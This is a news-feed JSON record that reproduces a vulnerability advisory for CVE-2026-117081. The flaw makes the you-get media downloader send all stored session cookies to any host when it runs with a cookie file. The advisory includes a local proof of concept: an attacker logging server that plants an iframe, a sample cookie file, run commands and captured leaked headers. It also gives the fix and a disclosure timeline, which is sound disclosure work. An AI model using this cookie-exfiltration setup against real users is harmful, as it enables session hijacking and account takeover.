{"slug": "cve-2026-117081-you-get-cross-origin-cookie-jar-disclosure", "title": "CVE-2026-117081 — you-get cross-origin cookie-jar disclosure", "summary": "Security researcher Faxin Xu (Linus Shyu) disclosed CVE-2026-117081, a medium-severity flaw (CVSS 6.5) in the you-get command-line media downloader through version 0.4.1743 and the current development branch. When run with the -c/--cookies flag, the tool's get_content() and post_content() helpers build a Cookie header from every cookie in the jar without domain, path, or secure matching, so fetching a malicious page or an embedded iframe sends all stored session cookies to the attacker's host, enabling account takeover. The flaw is amplified by iframe recursion to depth 3 and by urllib's redirect handler copying the manually attached Cookie header to other hosts.", "body_md": "**CVE:** [CVE-2026-117081](https://www.cve.org/CVERecord?id=CVE-2026-117081)\n**Product:** [you-get](https://github.com/soimort/you-get) — a command-line media downloader\n**Affected versions:** `<= 0.4.1743` (PyPI) and the current development branch (commit `049548f` / `e9165e0`)\n**CWE:** CWE-200 (Exposure of Sensitive Information), CWE-565 (Reliance on Cookies without Validation)\n**CVSS 3.1:** `AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N` — **6.5 (Medium)**\n**Discovered by:** Faxin Xu (Linus Shyu)\n\nWhen you-get is started with `-c/--cookies cookies.txt`, the helpers\n`get_content()` and `post_content()` construct an HTTP `Cookie` header from\n**every cookie in the jar, without any domain, path, or secure matching**, and\nattach it to every request. Because the `universal` extractor calls\n`get_content()` on arbitrary page URLs and recursively on every `<iframe src>`\nfound in the page, a user who runs you-get on a malicious page (or any page\nembedding attacker content) sends **all** of their stored session cookies — for\nexample bilibili `SESSDATA`, YouTube `LOGIN_INFO`, and any other site exported\ninto the file — to the attacker's host. This enables account takeover of every\naccount whose cookies are present in the file.\n\n`src/you_get/common.py`, `get_content()` (lines 465–477) — identical logic in\n`post_content()` (lines 518–530):\n\n```\nreq = request.Request(url, headers=headers)\nif cookies:\n    # NOTE: Do not use cookies.add_cookie_header(req)\n    cookie_strings = []\n    for cookie in list(cookies):\n        cookie_strings.append(cookie.name + '=' + cookie.value)\n    cookie_headers = {'Cookie': '; '.join(cookie_strings)}\n    req.headers.update(cookie_headers)\n```\n\n`cookies` is a `http.cookiejar.MozillaCookieJar` populated by `load_cookies()`\n(from the `-c` flag). Iterating `list(cookies)` yields **all** cookies\nregardless of the request URL. The jar's built-in scoping (`add_cookie_header`,\nwhich applies domain/path/secure matching) is deliberately bypassed here.\n\n1. **Any HTML page.**`universal.py:15` calls`embed_download()` for any`text/html` URL whose host is not in the extractor table;`embed.py:68` calls`get_content(url)` → the page host receives the full jar on the very\nfirst request.\n2. **Iframe recursion (amplifier).**`embed.py:121–136` recursively fetches\nevery`<iframe src>` in the page with`get_content()` (depth 3). A single\nattacker iframe embedded in any page therefore receives the full jar.\n3. **Extractor traffic.** 78 extractor modules call`get_content()` and 6 call`post_content()` ; several do so with URLs derived from page/API content.\n4. **Cross-host redirects.**`urllib` 's redirect handler copies request\nheaders — including this manually attached`Cookie` header — to redirect\ntargets on other hosts.\n\nThree small files reproduce the leak locally. The \"attacker\" is a local HTTP\nserver on `127.0.0.1:8123` that records every header it receives.\n\n``` bash\n#!/usr/bin/env python3\n\"\"\"Attacker-controlled web server that logs every request header it receives.\"\"\"\nimport http.server\nimport sys\n\nPORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8123\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_HEAD(self):\n        self.send_response(200)\n        self.send_header('Content-Type', 'text/html')\n        self.end_headers()\n\n    def do_GET(self):\n        print(f\"\\n=== ATTACKER SERVER received: {self.command} {self.path}\", flush=True)\n        for k, v in self.headers.items():\n            print(f\"    {k}: {v}\", flush=True)\n        body = b\"<html><head><title>free movie</title></head><body>\"\n        body += b'<iframe src=\"https://gist.github.com/steal\"></iframe>'\n        body += b\"</body></html>\"\n        self.send_response(200)\n        self.send_header('Content-Type', 'text/html')\n        self.send_header('Content-Length', str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def log_message(self, *a):\n        pass\n\nhttp.server.HTTPServer(('127.0.0.1', PORT), Handler).serve_forever()\n```\n\nNetscape-format cookie file with session cookies from two unrelated sites:\n\n```\n# Netscape HTTP Cookie File\n.bilibili.com\tTRUE\t/\tFALSE\t9999999999\tSESSDATA\tTOP_SECRET_BILIBILI_SESSION\n.youtube.com\tTRUE\t/\tTRUE\t9999999999\tLOGIN_INFO\tTOP_SECRET_YOUTUBE_SESSION\n```\n\nThe `python -m you_get` entry point can exit early because the package\n`__init__` imports `__main__`; this helper calls the CLI directly. If you have\nyou-get installed normally, you can simply use the `you-get` command instead.\n\n``` bash\n#!/usr/bin/env python3\n\"\"\"Run you-get's CLI with explicit argv (works around the -m entry-point quirk).\"\"\"\nimport os, sys\nsys.path.insert(0, os.environ.get(\"YOUGET_SRC\", \"you-get/src\"))\nsys.argv = [\"you-get\"] + sys.argv[1:]\nfrom you_get.common import main\nmain()\n# 1. Attacker starts the logging server\npython3 server.py 8123 > server.log 2>&1 &\n\n# 2. Victim runs you-get against the attacker page, loading their cookie file\nyou-get -i -c cookies.txt http://127.0.0.1:8123/\n# (or: python3 run_youget.py -i -c cookies.txt http://127.0.0.1:8123/)\n\n# 3. Attacker reads the log\ngrep -A9 \"received\" server.log\n```\n\nCookies belonging to `bilibili.com` and `youtube.com` are delivered to the\nunrelated attacker host, on the initial page request **and** on the\nattacker-chosen iframe URL:\n\n```\n=== ATTACKER SERVER received: GET /\n    Host: 127.0.0.1:8123\n    Cookie: SESSDATA=TOP_SECRET_BILIBILI_SESSION; LOGIN_INFO=TOP_SECRET_YOUTUBE_SESSION\n\n=== ATTACKER SERVER received: GET /steal\n    Host: 127.0.0.1:8123\n    Cookie: SESSDATA=TOP_SECRET_BILIBILI_SESSION; LOGIN_INFO=TOP_SECRET_YOUTUBE_SESSION\n```\n\nRunning the same command **without** `-c` sends no `Cookie` header, and the\ndomain-aware `get_response()` path (which uses `HTTPCookieProcessor`) also\nsends nothing to unrelated hosts. The leak is specific to the manual\ncookie-header construction in `get_content()`/` post_content()`.\n\nComplete disclosure of every session cookie in the user-provided cookie file to\narbitrary hosts → session hijacking / account takeover for all accounts\nrepresented. Cookie export files produced by browser extensions routinely\ncontain credentials for multiple sites. No special privileges are required;\nthe attack needs only the (common) use of `-c cookies.txt` and visiting a page\ncontaining attacker content.\n\nUse the cookie jar's standard scoping when sending, e.g.:\n\n```\nif cookies:\n    cookies.add_cookie_header(req)\n```\n\n`add_cookie_header()` applies the standard domain/path/secure matching; the\nexisting `#HttpOnly_` workaround only concerns *loading*, and does not apply to\nsending. Optionally strip the `Cookie` header on cross-host redirects.\n\n- `2026-10-11` — Vulnerability discovered and reproduced.\n- `2026-10-11` — CVE ID requested from MITRE CNA-LR.\n- `2026-11-06` — CVE ID assigned (`CVE-2026-117081` ).\n- `2026-11-06` — Public disclosure.\n\n- CVE record: [https://www.cve.org/CVERecord?id=CVE-2026-117081](https://www.cve.org/CVERecord?id=CVE-2026-117081)\n- you-get repository: [https://github.com/soimort/you-get](https://github.com/soimort/you-get)\n- SECURITY.md: [https://github.com/soimort/you-get/blob/master/SECURITY.md](https://github.com/soimort/you-get/blob/master/SECURITY.md)", "url": "https://wpnews.pro/news/cve-2026-117081-you-get-cross-origin-cookie-jar-disclosure", "canonical_source": "https://gist.github.com/Linus-Shyu/d45873b64a75ed35f44dfeb129c479e3", "published_at": "2026-11-06 14:53:42+00:00", "updated_at": "2026-11-06 17:53:12.395822+00:00", "lang": "en", "topics": ["ai-tools"], "entities": ["you-get", "Faxin Xu", "Linus Shyu", "PyPI", "bilibili", "YouTube"], "also_reported_by": [], "alternates": {"html": "https://wpnews.pro/news/cve-2026-117081-you-get-cross-origin-cookie-jar-disclosure", "markdown": "https://wpnews.pro/news/cve-2026-117081-you-get-cross-origin-cookie-jar-disclosure.md", "text": "https://wpnews.pro/news/cve-2026-117081-you-get-cross-origin-cookie-jar-disclosure.txt", "jsonld": "https://wpnews.pro/news/cve-2026-117081-you-get-cross-origin-cookie-jar-disclosure.jsonld"}}